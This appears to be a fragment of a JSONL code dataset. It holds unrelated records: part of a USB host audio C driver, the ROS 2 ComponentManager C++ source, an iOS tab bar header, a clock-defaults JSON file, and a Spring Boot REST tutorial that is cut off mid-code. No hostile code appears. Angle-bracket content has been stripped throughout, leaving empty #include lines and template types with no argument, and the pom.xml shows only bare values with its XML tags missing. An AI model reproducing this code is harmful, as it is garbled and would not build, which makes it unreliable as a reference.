1, ui32Value);\r\n\r\n ui32Value = (g_sAudioState.pui32Steps[2] * ui32Percent) / 100;\r\n USBHostAudioVolumeSet(g_psAudioInstance, 0, 2, ui32Value);\r\n }\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Returns the current volume level.\r\n//\r\n// \\param ui32Channel is the 0 based channel number to query.\r\n//\r\n// This function returns the current volume, specified as a percentage between\r\n// 0% (silence) and 100% (full volume), inclusive. The \\e ui32Channel value\r\n// starts with 0 which is the master audio volume control interface. The\r\n// remaining \\e ui32Channel values provide access to various other audio\r\n// channels, with 1 and 2 being left and right audio channels.\r\n//\r\n// \\return Returns the current volume.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundVolumeGet(uint32_t ui32Channel)\r\n{\r\n uint32_t ui32Volume;\r\n\r\n //\r\n // Initialize the return value in case there is no USB device present.\r\n //\r\n ui32Volume = 0xffffffff;\r\n\r\n //\r\n // Ignore volume request if there is no device present.\r\n //\r\n if(g_sAudioState.iState == eStateDeviceReady)\r\n {\r\n ui32Volume = USBHostAudioVolumeGet(g_psAudioInstance, 0, ui32Channel);\r\n }\r\n\r\n return(ui32Volume);\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// This sets the current output audio format of the USB audio device.\r\n//\r\n// \\param ui32SampleRate is the sample rate.\r\n// \\param ui32BitsPerSample is the number of bits per sample.\r\n// \\param ui32Channels is the number of channels.\r\n//\r\n// This sets the current audio format for the USB device that is currently\r\n// connected. If there is no USB device connected or the format is not\r\n// supported then the function returns a non-zero value. The function\r\n// returns zero if the USB audio device was successfully configured to the\r\n// requested audio format.\r\n//\r\n// \\return Returns zero if the format was successfully set or returns an\r\n// non-zero value if the format was not able to be set.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundOutputFormatSet(uint32_t ui32SampleRate,\r\n uint32_t ui32BitsPerSample, uint32_t ui32Channels)\r\n{\r\n //\r\n // Just return if there is no device at this time.\r\n //\r\n if(g_sAudioState.iState != eStateDeviceReady)\r\n {\r\n return(1);\r\n }\r\n\r\n //\r\n // Call the USB Host Audio function to set the format.\r\n //\r\n return(USBHostAudioFormatSet(g_psAudioInstance, ui32SampleRate,\r\n ui32BitsPerSample, ui32Channels,\r\n USBH_AUDIO_FORMAT_OUT));\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// This sets the current input audio format of the USB audio device\r\n//\r\n// \\param ui32SampleRate is the sample rate.\r\n// \\param ui32BitsPerSample is the number of bits per sample.\r\n// \\param ui32Channels is the number of channels.\r\n//\r\n// This sets the current format for the USB device that is currently connect.\r\n// If there is no USB device connected or the format is not supported then the\r\n// function returns 0. The function returns 1 if the USB audio device\r\n// was successfully configured to the requested format.\r\n//\r\n// \\return Returns 1 if the format was successfully set or returns 0 if the\r\n// format was not changed.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundInputFormatSet(uint32_t ui32SampleRate,\r\n uint32_t ui32BitsPerSample, uint32_t ui32Channels)\r\n{\r\n //\r\n // Just return if there is no device at this time.\r\n //\r\n if(g_sAudioState.iState != eStateDeviceReady)\r\n {\r\n return(0);\r\n }\r\n\r\n return(USBHostAudioFormatSet(g_psAudioInstance, ui32SampleRate,\r\n ui32BitsPerSample, ui32Channels,\r\n USBH_AUDIO_FORMAT_IN));\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Returns the current sample rate.\r\n//\r\n// This function returns the sample rate that was set by a call to\r\n// USBSoundSetFormat(). This is needed to retrieve the exact sample rate that is\r\n// in use in case the requested rate could not be matched exactly.\r\n//\r\n// \\return The current sample rate in samples/second.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundOutputFormatGet(uint32_t ui32SampleRate, uint32_t ui32Bits,\r\n uint32_t ui32Channels)\r\n{\r\n //\r\n // Just return if there is no device at this time.\r\n //\r\n if(g_sAudioState.iState != eStateDeviceReady)\r\n {\r\n return(0);\r\n }\r\n\r\n return(USBHostAudioFormatGet(g_psAudioInstance, ui32SampleRate, ui32Bits,\r\n ui32Channels, USBH_AUDIO_FORMAT_OUT));\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Returns the current sample rate.\r\n//\r\n// This function returns the sample rate that was set by a call to\r\n// USBSoundSetFormat(). This is needed to retrieve the exact sample rate that is\r\n// in use in case the requested rate could not be matched exactly.\r\n//\r\n// \\return The current sample rate in samples/second.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundInputFormatGet(uint32_t ui32SampleRate, uint32_t ui32Bits,\r\n uint32_t ui32Channels)\r\n{\r\n //\r\n // Just return if there is no device at this time.\r\n //\r\n if(g_sAudioState.iState != eStateDeviceReady)\r\n {\r\n return(0);\r\n }\r\n\r\n return(USBHostAudioFormatGet(g_psAudioInstance, ui32SampleRate, ui32Bits,\r\n ui32Channels, USBH_AUDIO_FORMAT_IN));\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// This is the generic callback from host stack.\r\n//\r\n// \\param pvData is actually a pointer to a tEventInfo structure.\r\n//\r\n// This function is called to inform the application when a USB event has\r\n// occurred that is outside those related to the audio device. At this\r\n// point this is used to detect unsupported devices being inserted and removed.\r\n// It is also used to inform the application when a power fault has occurred.\r\n// This function is required when the g_USBGenerii8EventDriver is included in\r\n// the host controller driver array that is passed in to the\r\n// USBHCDRegisterDrivers() function.\r\n//\r\n// \\return None.\r\n//\r\n//*****************************************************************************\r\nvoid\r\nUSBHCDEvents(void *pvData)\r\n{\r\n tEventInfo *psEventInfo;\r\n\r\n //\r\n // Cast this pointer to its actual type.\r\n //\r\n psEventInfo = (tEventInfo *)pvData;\r\n\r\n switch(psEventInfo->ui32Event)\r\n {\r\n //\r\n // Unknown device detected.\r\n //\r\n case USB_EVENT_UNKNOWN_CONNECTED:\r\n {\r\n //\r\n // An unknown device was detected.\r\n //\r\n g_sAudioState.iState = eStateUnknownDevice;\r\n\r\n //\r\n // Call the general event handler if present.\r\n //\r\n if(g_sAudioState.pfnCallbackEvent)\r\n {\r\n g_sAudioState.pfnCallbackEvent(SOUND_EVENT_UNKNOWN_DEV, 1);\r\n }\r\n\r\n break;\r\n }\r\n\r\n //\r\n // Device unplugged.\r\n //\r\n case USB_EVENT_DISCONNECTED:\r\n {\r\n //\r\n // Handle the case where an unknown device is disconnected.\r\n //\r\n if(g_sAudioState.iState == eStateUnknownDevice)\r\n {\r\n g_sAudioState.iState = eStateNoDevice;\r\n\r\n //\r\n // Call the general event handler if present.\r\n //\r\n if(g_sAudioState.pfnCallbackEvent)\r\n {\r\n g_sAudioState.pfnCallbackEvent(SOUND_EVENT_UNKNOWN_DEV, 0);\r\n }\r\n }\r\n else\r\n {\r\n //\r\n // Call the general event handler if present.\r\n //\r\n if(g_sAudioState.pfnCallbackEvent)\r\n {\r\n g_sAudioState.pfnCallbackEvent(SOUND_EVENT_DISCONNECT, 0);\r\n }\r\n }\r\n\r\n break;\r\n }\r\n\r\n //\r\n // A power fault has occurred.\r\n //\r\n case USB_EVENT_POWER_FAULT:\r\n {\r\n //\r\n // No power means no device is present.\r\n //\r\n g_sAudioState.iState = eStatePowerFault;\r\n\r\n break;\r\n }\r\n default:\r\n {\r\n break;\r\n }\r\n }\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// This function passes along a buffer callback from the USB host audio driver\r\n// so that the application can process or release the buffers.\r\n//\r\n//*****************************************************************************\r\nvoid\r\nUSBHostAudioCallback(tUSBHostAudioInstance *psAudioInstance,\r\n uint32_t ui32Event, uint32_t ui32Param, void *pvBuffer)\r\n{\r\n //\r\n // Only call the callback if it is actually present.\r\n //\r\n if(g_sAudioState.pfnCallbackOut)\r\n {\r\n g_sAudioState.pfnCallbackOut(pvBuffer, ui32Event, ui32Param);\r\n }\r\n\r\n //\r\n // Only call the callback if it is actually present.\r\n //\r\n if(g_sAudioState.pfnCallbackIn)\r\n {\r\n g_sAudioState.pfnCallbackIn(pvBuffer, ui32Event, ui32Param);\r\n }\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Starts output of a block of PCM audio samples.\r\n//\r\n// \\param pvBuffer is a pointer to the audio data to play.\r\n// \\param ui32Size is the length of the data in bytes.\r\n// \\param pfnCallback is a function to call when this buffer has be played.\r\n//\r\n// This function starts the output of a block of PCM audio samples.\r\n//\r\n// \\return This function returns a non-zero value if the buffer was accepted,\r\n// and returns zero if the buffer was not accepted.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundBufferOut(const void *pvBuffer, uint32_t ui32Size,\r\n tUSBBufferCallback pfnCallback)\r\n{\r\n //\r\n // If there is no device present or there is a pending buffer then just\r\n // return with a failure.\r\n //\r\n if(g_sAudioState.iState != eStateDeviceReady)\r\n {\r\n return(0);\r\n }\r\n\r\n //\r\n // Save this buffer callback.\r\n //\r\n g_sAudioState.pfnCallbackOut = pfnCallback;\r\n\r\n //\r\n // Pass the buffer aint32_t to the USB host audio driver for playback.\r\n //\r\n return(USBHostAudioPlay(g_psAudioInstance, (void *)pvBuffer, ui32Size,\r\n USBHostAudioCallback));\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Requests a new block of PCM audio samples from a USB audio device.\r\n//\r\n// \\param pvBuffer is a pointer to a location to store the audio data.\r\n// \\param ui32Size is the size of the pvData buffer in bytes.\r\n// \\param pfnCallback is a function to call when this buffer has new data.\r\n//\r\n// This function request a new block of PCM audio samples from a USB audio\r\n// device.\r\n//\r\n// \\return This function returns a non-zero value if the buffer was accepted,\r\n// and returns zero if the buffer was not accepted.\r\n//\r\n//*****************************************************************************\r\nuint32_t\r\nUSBSoundBufferIn(const void *pvBuffer, uint32_t ui32Size,\r\n tUSBBufferCallback pfnCallback)\r\n{\r\n //\r\n // If there is no device present or there is a pending buffer then just\r\n // return with a failure.\r\n //\r\n if(g_sAudioState.iState != eStateDeviceReady)\r\n {\r\n return(0);\r\n }\r\n\r\n //\r\n // Save this buffer callback.\r\n //\r\n g_sAudioState.pfnCallbackIn = pfnCallback;\r\n\r\n //\r\n // Pass the buffer aint32_t to the USB host audio driver for input.\r\n //\r\n return(USBHostAudioRecord(g_psAudioInstance, (void *)pvBuffer, ui32Size,\r\n USBHostAudioCallback));\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// This function reads the audio volume settings for the USB audio device and\r\n// saves them so that the volume can be scaled correctly.\r\n//\r\n//*****************************************************************************\r\nstatic void\r\nGetVolumeParameters(void)\r\n{\r\n uint32_t ui32Max, ui32Min, ui32Res, ui32Channel;\r\n\r\n for(ui32Channel = 0; ui32Channel < 3; ui32Channel++)\r\n {\r\n ui32Max = USBHostAudioVolumeMaxGet(g_psAudioInstance, 0, ui32Channel);\r\n ui32Min = USBHostAudioVolumeMinGet(g_psAudioInstance, 0, ui32Channel);\r\n ui32Res = USBHostAudioVolumeResGet(g_psAudioInstance, 0, ui32Channel);\r\n\r\n g_sAudioState.pui32Steps[ui32Channel] = (ui32Max - ui32Min) / ui32Res;\r\n }\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// The main routine for handling USB audio, this should be called periodically\r\n// by the main program and pass in the amount of time in milliseconds that has\r\n// elapsed since the last call.\r\n//\r\n//*****************************************************************************\r\nvoid\r\nUSBSoundMain(void)\r\n{\r\n //\r\n // Tell the OTG library code how much time has passed in\r\n // milliseconds since the last call.\r\n //\r\n USBHCDMain();\r\n\r\n switch(g_sAudioState.iState)\r\n {\r\n //\r\n // This is the running state where buttons are checked and the\r\n // screen is updated.\r\n //\r\n case eStateDeviceReady:\r\n { if(HWREGBITW(&g_sAudioState.ui32EventFlags, EVENT_CLOSE))\r\n {\r\n HWREGBITW(&g_sAudioState.ui32EventFlags, EVENT_CLOSE) = 0;\r\n g_sAudioState.iState = eStateNoDevice;\r\n\r\n //\r\n // Call the general event handler if present.\r\n //\r\n if(g_sAudioState.pfnCallbackEvent)\r\n {\r\n g_sAudioState.pfnCallbackEvent(SOUND_EVENT_DISCONNECT, 0);\r\n }\r\n }\r\n break;\r\n }\r\n\r\n //\r\n // If there is no device then just wait for one.\r\n //\r\n case eStateNoDevice:\r\n {\r\n if(HWREGBITW(&g_sAudioState.ui32EventFlags, EVENT_OPEN))\r\n {\r\n g_sAudioState.iState = eStateDeviceReady;\r\n\r\n HWREGBITW(&g_sAudioState.ui32EventFlags, EVENT_OPEN) = 0;\r\n\r\n GetVolumeParameters();\r\n\r\n //\r\n // Call the general event handler if present.\r\n //\r\n if(g_sAudioState.pfnCallbackEvent)\r\n {\r\n g_sAudioState.pfnCallbackEvent(SOUND_EVENT_READY, 0);\r\n }\r\n }\r\n break;\r\n }\r\n\r\n //\r\n // An unknown device was connected.\r\n //\r\n case eStateUnknownDevice:\r\n {\r\n break;\r\n }\r\n\r\n //\r\n // Something has caused a power fault.\r\n //\r\n case eStatePowerFault:\r\n {\r\n break;\r\n }\r\n\r\n default:\r\n {\r\n break;\r\n }\r\n }\r\n}\r\n"} +{"text": "// Copyright 2019 Open Source Robotics Foundation, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"rclcpp_components/component_manager.hpp\"\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"ament_index_cpp/get_resource.hpp\"\n#include \"class_loader/class_loader.hpp\"\n#include \"rcpputils/filesystem_helper.hpp\"\n#include \"rcpputils/split.hpp\"\n\nusing namespace std::placeholders;\n\nnamespace rclcpp_components\n{\n\nComponentManager::ComponentManager(\n std::weak_ptr executor,\n std::string node_name,\n const rclcpp::NodeOptions & node_options)\n: Node(std::move(node_name), node_options),\n executor_(executor)\n{\n loadNode_srv_ = create_service(\n \"~/_container/load_node\",\n std::bind(&ComponentManager::OnLoadNode, this, _1, _2, _3));\n unloadNode_srv_ = create_service(\n \"~/_container/unload_node\",\n std::bind(&ComponentManager::OnUnloadNode, this, _1, _2, _3));\n listNodes_srv_ = create_service(\n \"~/_container/list_nodes\",\n std::bind(&ComponentManager::OnListNodes, this, _1, _2, _3));\n}\n\nComponentManager::~ComponentManager()\n{\n if (node_wrappers_.size()) {\n RCLCPP_DEBUG(get_logger(), \"Removing components from executor\");\n if (auto exec = executor_.lock()) {\n for (auto & wrapper : node_wrappers_) {\n exec->remove_node(wrapper.second.get_node_base_interface());\n }\n }\n }\n}\n\nstd::vector\nComponentManager::get_component_resources(\n const std::string & package_name, const std::string & resource_index) const\n{\n std::string content;\n std::string base_path;\n if (\n !ament_index_cpp::get_resource(\n resource_index, package_name, content, &base_path))\n {\n throw ComponentManagerException(\"Could not find requested resource in ament index\");\n }\n\n std::vector resources;\n std::vector lines = rcpputils::split(content, '\\n', true);\n for (const auto & line : lines) {\n std::vector parts = rcpputils::split(line, ';');\n if (parts.size() != 2) {\n throw ComponentManagerException(\"Invalid resource entry\");\n }\n\n std::string library_path = parts[1];\n if (!rcpputils::fs::path(library_path).is_absolute()) {\n library_path = base_path + \"/\" + library_path;\n }\n resources.push_back({parts[0], library_path});\n }\n return resources;\n}\n\nstd::shared_ptr\nComponentManager::create_component_factory(const ComponentResource & resource)\n{\n std::string library_path = resource.second;\n std::string class_name = resource.first;\n std::string fq_class_name = \"rclcpp_components::NodeFactoryTemplate<\" + class_name + \">\";\n\n class_loader::ClassLoader * loader;\n if (loaders_.find(library_path) == loaders_.end()) {\n RCLCPP_INFO(get_logger(), \"Load Library: %s\", library_path.c_str());\n try {\n loaders_[library_path] = std::make_unique(library_path);\n } catch (const std::exception & ex) {\n throw ComponentManagerException(\"Failed to load library: \" + std::string(ex.what()));\n } catch (...) {\n throw ComponentManagerException(\"Failed to load library\");\n }\n }\n loader = loaders_[library_path].get();\n\n auto classes = loader->getAvailableClasses();\n for (const auto & clazz : classes) {\n RCLCPP_INFO(get_logger(), \"Found class: %s\", clazz.c_str());\n if (clazz == class_name || clazz == fq_class_name) {\n RCLCPP_INFO(get_logger(), \"Instantiate class: %s\", clazz.c_str());\n return loader->createInstance(clazz);\n }\n }\n return {};\n}\n\nvoid\nComponentManager::OnLoadNode(\n const std::shared_ptr request_header,\n const std::shared_ptr request,\n std::shared_ptr response)\n{\n (void) request_header;\n\n try {\n auto resources = get_component_resources(request->package_name);\n\n for (const auto & resource : resources) {\n if (resource.first != request->plugin_name) {\n continue;\n }\n auto factory = create_component_factory(resource);\n\n if (factory == nullptr) {\n continue;\n }\n\n std::vector parameters;\n for (const auto & p : request->parameters) {\n parameters.push_back(rclcpp::Parameter::from_parameter_msg(p));\n }\n\n std::vector remap_rules;\n remap_rules.reserve(request->remap_rules.size() * 2 + 1);\n remap_rules.push_back(\"--ros-args\");\n for (const std::string & rule : request->remap_rules) {\n remap_rules.push_back(\"-r\");\n remap_rules.push_back(rule);\n }\n\n if (!request->node_name.empty()) {\n remap_rules.push_back(\"-r\");\n remap_rules.push_back(\"__node:=\" + request->node_name);\n }\n\n if (!request->node_namespace.empty()) {\n remap_rules.push_back(\"-r\");\n remap_rules.push_back(\"__ns:=\" + request->node_namespace);\n }\n\n auto options = rclcpp::NodeOptions()\n .use_global_arguments(false)\n .parameter_overrides(parameters)\n .arguments(remap_rules);\n\n for (const auto & a : request->extra_arguments) {\n const rclcpp::Parameter extra_argument = rclcpp::Parameter::from_parameter_msg(a);\n if (extra_argument.get_name() == \"use_intra_process_comms\") {\n if (extra_argument.get_type() != rclcpp::ParameterType::PARAMETER_BOOL) {\n throw ComponentManagerException(\n \"Extra component argument 'use_intra_process_comms' must be a boolean\");\n }\n options.use_intra_process_comms(extra_argument.get_value());\n }\n }\n\n auto node_id = unique_id_++;\n\n if (0 == node_id) {\n // This puts a technical limit on the number of times you can add a component.\n // But even if you could add (and remove) them at 1 kHz (very optimistic rate)\n // it would still be a very long time before you could exhaust the pool of id's:\n // 2^64 / 1000 times per sec / 60 sec / 60 min / 24 hours / 365 days = 584,942,417 years\n // So around 585 million years. Even at 1 GHz, it would take 585 years.\n // I think it's safe to avoid trying to handle overflow.\n // If we roll over then it's most likely a bug.\n throw std::overflow_error(\"exhausted the unique ids for components in this process\");\n }\n\n try {\n node_wrappers_[node_id] = factory->create_node_instance(options);\n } catch (const std::exception & ex) {\n // In the case that the component constructor throws an exception,\n // rethrow into the following catch block.\n throw ComponentManagerException(\n \"Component constructor threw an exception: \" + std::string(ex.what()));\n } catch (...) {\n // In the case that the component constructor throws an exception,\n // rethrow into the following catch block.\n throw ComponentManagerException(\"Component constructor threw an exception\");\n }\n\n auto node = node_wrappers_[node_id].get_node_base_interface();\n if (auto exec = executor_.lock()) {\n exec->add_node(node, true);\n }\n response->full_node_name = node->get_fully_qualified_name();\n response->unique_id = node_id;\n response->success = true;\n return;\n }\n RCLCPP_ERROR(\n get_logger(), \"Failed to find class with the requested plugin name '%s' in \"\n \"the loaded library\",\n request->plugin_name.c_str());\n response->error_message = \"Failed to find class with the requested plugin name.\";\n response->success = false;\n } catch (const ComponentManagerException & ex) {\n RCLCPP_ERROR(get_logger(), ex.what());\n response->error_message = ex.what();\n response->success = false;\n }\n}\n\nvoid\nComponentManager::OnUnloadNode(\n const std::shared_ptr request_header,\n const std::shared_ptr request,\n std::shared_ptr response)\n{\n (void) request_header;\n\n auto wrapper = node_wrappers_.find(request->unique_id);\n\n if (wrapper == node_wrappers_.end()) {\n response->success = false;\n std::stringstream ss;\n ss << \"No node found with unique_id: \" << request->unique_id;\n response->error_message = ss.str();\n RCLCPP_WARN(get_logger(), ss.str());\n } else {\n if (auto exec = executor_.lock()) {\n exec->remove_node(wrapper->second.get_node_base_interface());\n }\n node_wrappers_.erase(wrapper);\n response->success = true;\n }\n}\n\nvoid\nComponentManager::OnListNodes(\n const std::shared_ptr request_header,\n const std::shared_ptr request,\n std::shared_ptr response)\n{\n (void) request_header;\n (void) request;\n\n for (auto & wrapper : node_wrappers_) {\n response->unique_ids.push_back(wrapper.first);\n response->full_node_names.push_back(\n wrapper.second.get_node_base_interface()->get_fully_qualified_name());\n }\n}\n\n} // namespace rclcpp_components\n"} +{"text": "//\n// TTTabBarItem.h\n// HighCopyTodayNews\n//\n// Created by hack on 2017/7/28.\n// Copyright © 2017年 hack. All rights reserved.\n//\n\n#import \n\n@interface TTTabBarItem : UIButton\n\n@property(strong, nonatomic) UILabel *showTitleLable;\n@property(copy, nonatomic) NSString *title;\n@property(strong, nonatomic) UIImage *loadingImage;\n@property(strong, nonatomic) UIImage *highlightedImage;\n@property(strong, nonatomic) UIImage *noralImage;\n@property(strong, nonatomic) UIImageView *iconImgView;\n@property(nonatomic)BOOL itemSelected;\n-(instancetype)initWithTitle:(NSString*)title image:(UIImage*)image selectedImage:(UIImage*)selectImg;\n @end\n"} +{"text": "{\n \"comment\":\n [\n \"Defaults for clocks.\"\n ],\n\n \"pclk-freq\": 400\n}\n"} +{"text": "## Learn from the Top 5 Best Selling Courses\n\n[![Image](https://www.springboottutorial.com/images/Course-Master-Microservices-with-Spring-Boot-and-Spring-Cloud.png \"Master Microservices with Spring Boot and Spring Cloud\")](https://links.in28minutes.com/in28minutes-Microservices)\n\n[![Image](https://www.springboottutorial.com/images/Course-Spring-Framework-Master-Class---Beginner-to-Expert.png \"Spring Master Class - Beginner to Expert\")](https://links.in28minutes.com/in28minutes-Spring)\n\n[![Image](https://www.springboottutorial.com/images/Course-DevOps.png \"DevOps Course\")](https://links.in28minutes.com/DevOps-SBT)\n[![Image](https://www.springboottutorial.com/images/Course-go-serverless.png \"Go Serverless with AWS Lambda and Azure Functions\")](https://links.in28minutes.com/serverless-sbt)\n\n[![Image](https://www.springboottutorial.com/images/Course-Go-Full-Stack-With-SpringBoot-And-Angular.png \"Go Full Stack with Spring Boot and Angular\")](https://links.in28minutes.com/in28minutes-angular)\n\n[![Image](https://www.springboottutorial.com/images/Course-Go-Full-Stack-With-Spring-Boot-and-React.png \"Go Full Stack with Spring Boot and React\")](https://links.in28minutes.com/in28minutes-React)\n\n\n## Reskill with the Amazing in28Minutes Learning Paths\n\n- [Learning Path 01 - Spring and Spring Boot Web Applications and API Developer](https://links.in28minutes.com/in28minutes-LP-01)\n- [Learning Path 02 - Full Stack Developer with Spring Boot, React & Angular](https://links.in28minutes.com/in28minutes-LP-02)\n- [Learning Path 03 - Cloud Microservices Developer with Docker and Kubernetes](https://links.in28minutes.com/in28minutes-LP-03)\n- [Learning Path 04 - Learn Cloud with Spring Boot, AWS, Azure and PCF](https://links.in28minutes.com/in28minutes-LP-04)\n- [Learning Path 05 - Learn AWS with Microservices, Docker and Kubernetes](https://links.in28minutes.com/in28minutes-LP-05)\n\n\n\n## Complete Code Example\n\n\n### /pom.xml\n\n```xml\n\n\n\t4.0.0\n\n\tcom.in28minutes.springboot.rest.example\n\tspring-boot-2-rest-service-hateoas\n\t0.0.1-SNAPSHOT\n\tjar\n\n\tspring-boot-2-rest-service\n\tSpring Boot 2 and REST - Example Project\n\n\t\n\t\torg.springframework.boot\n\t\tspring-boot-starter-parent\n\t\t2.3.1.RELEASE\n\t\t \n\t\n\n\t\n\t\tUTF-8\n\t\tUTF-8\n\t\t1.8\n\t\t3.1.1\n\t\n\n\t\n\t\t\n\t\t\torg.springframework.boot\n\t\t\tspring-boot-starter-actuator\n\t\t\n\t\t\n\t\t\torg.springframework.boot\n\t\t\tspring-boot-starter-data-jpa\n\t\t\n\t\t\n\t\t\torg.springframework.boot\n\t\t\tspring-boot-starter-web\n\t\t\n\t\t\n\t\t\torg.springframework.boot\n\t\t\tspring-boot-starter-hateoas\n\t\t\n\n\t\t\n\t\t\torg.springframework.boot\n\t\t\tspring-boot-devtools\n\t\t\truntime\n\t\t\n\t\t\n\t\t\tcom.h2database\n\t\t\th2\n\t\t\truntime\n\t\t\n\t\t\n\t\t\torg.springframework.boot\n\t\t\tspring-boot-starter-test\n\t\t\ttest\n\t\t\n\t\n\n\t\n\t\t\n\t\t\t\n\t\t\t\torg.springframework.boot\n\t\t\t\tspring-boot-maven-plugin\n\t\t\t\n\t\t\n\t\n\n\t\n\t\t\n\t\t\tspring-snapshots\n\t\t\tSpring Snapshots\n\t\t\thttps://repo.spring.io/snapshot\n\t\t\t\n\t\t\t\ttrue\n\t\t\t\n\t\t\n\t\t\n\t\t\tspring-milestones\n\t\t\tSpring Milestones\n\t\t\thttps://repo.spring.io/milestone\n\t\t\t\n\t\t\t\tfalse\n\t\t\t\n\t\t\n\t\n\n\t\n\t\t\n\t\t\tspring-snapshots\n\t\t\tSpring Snapshots\n\t\t\thttps://repo.spring.io/snapshot\n\t\t\t\n\t\t\t\ttrue\n\t\t\t\n\t\t\n\t\t\n\t\t\tspring-milestones\n\t\t\tSpring Milestones\n\t\t\thttps://repo.spring.io/milestone\n\t\t\t\n\t\t\t\tfalse\n\t\t\t\n\t\t\n\t\n\n\n\n```\n---\n\n### /src/main/java/com/in28minutes/springboot/rest/example/SpringBoot2RestServiceApplication.java\n\n```java\npackage com.in28minutes.springboot.rest.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class SpringBoot2RestServiceApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringBoot2RestServiceApplication.class, args);\n\t}\n}\n```\n---\n\n### /src/main/java/com/in28minutes/springboot/rest/example/student/Student.java\n\n```java\npackage com.in28minutes.springboot.rest.example.student;\n\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.Id;\n\n@Entity\npublic class Student {\n\t@Id\n\t@GeneratedValue\n\tprivate Long id;\n\tprivate String name;\n\tprivate String passportNumber;\n\t\n\tpublic Student() {\n\t\tsuper();\n\t}\n\n\tpublic Student(Long id, String name, String passportNumber) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t\tthis.passportNumber = passportNumber;\n\t}\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getPassportNumber() {\n\t\treturn passportNumber;\n\t}\n\tpublic void setPassportNumber(String passportNumber) {\n\t\tthis.passportNumber = passportNumber;\n\t}\n\t\t\n}\n```\n---\n\n### /src/main/java/com/in28minutes/springboot/rest/example/student/StudentNotFoundException.java\n\n```java\npackage com.in28minutes.springboot.rest.example.student;\n\npublic class StudentNotFoundException extends RuntimeException {\n\n\tpublic StudentNotFoundException(String exception) {\n\t\tsuper(exception);\n\t}\n\n}\n```\n---\n\n### /src/main/java/com/in28minutes/springboot/rest/example/student/StudentRepository.java\n\n```java\npackage com.in28minutes.springboot.rest.example.student;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.stereotype.Repository;\n\n@Repository\npublic interface StudentRepository extends JpaRepository{\n\n}\n```\n---\n\n### /src/main/java/com/in28minutes/springboot/rest/example/student/StudentResource.java\n\n```java\npackage com.in28minutes.springboot.rest.example.student;\n\nimport static org.springframework.hateoas.mvc.ControllerLinkBuilder.linkTo;\nimport static org.springframework.hateoas.mvc.ControllerLinkBuilder.methodOn;\n\nimport java.net.URI;\nimport java.util.List;\nimport java.util.Optional;\n\nimport javax.validation.Valid;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.hateoas.Resource;\nimport org.springframework.hateoas.mvc.ControllerLinkBuilder;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.servlet.support.ServletUriComponentsBuilder;\n\n@RestController\npublic class StudentResource {\n\n\t@Autowired\n\tprivate StudentRepository studentRepository;\n\n\t@GetMapping(\"/students\")\n\tpublic List retrieveAllStudents() {\n\t\treturn studentRepository.findAll();\n\t}\n\n\t@GetMapping(\"/students/{id}\")\n\tpublic Resource retrieveStudent(@PathVariable long id) {\n\t\tOptional student = studentRepository.findById(id);\n\n\t\tif (!student.isPresent())\n\t\t\tthrow new StudentNotFoundException(\"id-\" + id);\n\n\t\tResource resource = new Resource(student.get());\n\n\t\tControllerLinkBuilder linkTo = linkTo(methodOn(this.getClass()).retrieveAllStudents());\n\n\t\tresource.add(linkTo.withRel(\"all-students\"));\n\n\t\treturn resource;\n\t}\n\n\t@DeleteMapping(\"/students/{id}\")\n\tpublic void deleteStudent(@PathVariable long id) {\n\t\tstudentRepository.deleteById(id);\n\t}\n\n\t@PostMapping(\"/students\")\n\tpublic ResponseEntity createStudent(@RequestBody Student student) {\n\t\tStudent savedStudent = studentRepository.save(student);\n\n\t\tURI location = ServletUriComponentsBuilder.fromCurrentRequest().path(\"/{id}\")\n\t\t\t\t.buildAndExpand(savedStudent.getId()).toUri();\n\n\t\treturn ResponseEntity.created(location).build();\n\n\t}\n\t\n\t@PutMapping(\"/students/{id}\")\n\tpublic ResponseEntity updateStudent(@RequestBody Student student, @PathVariable long id) {\n\n\t\tOptional studentOptional = studentRepository.findById(id);\n\n\t\tif (!studentOptional.isPresent())\n\t\t\treturn ResponseEntity.notFound().build();\n\n\t\tstudent.setId(id);\n\t\t\n\t\tstudentRepository.save(student);\n\n\t\treturn 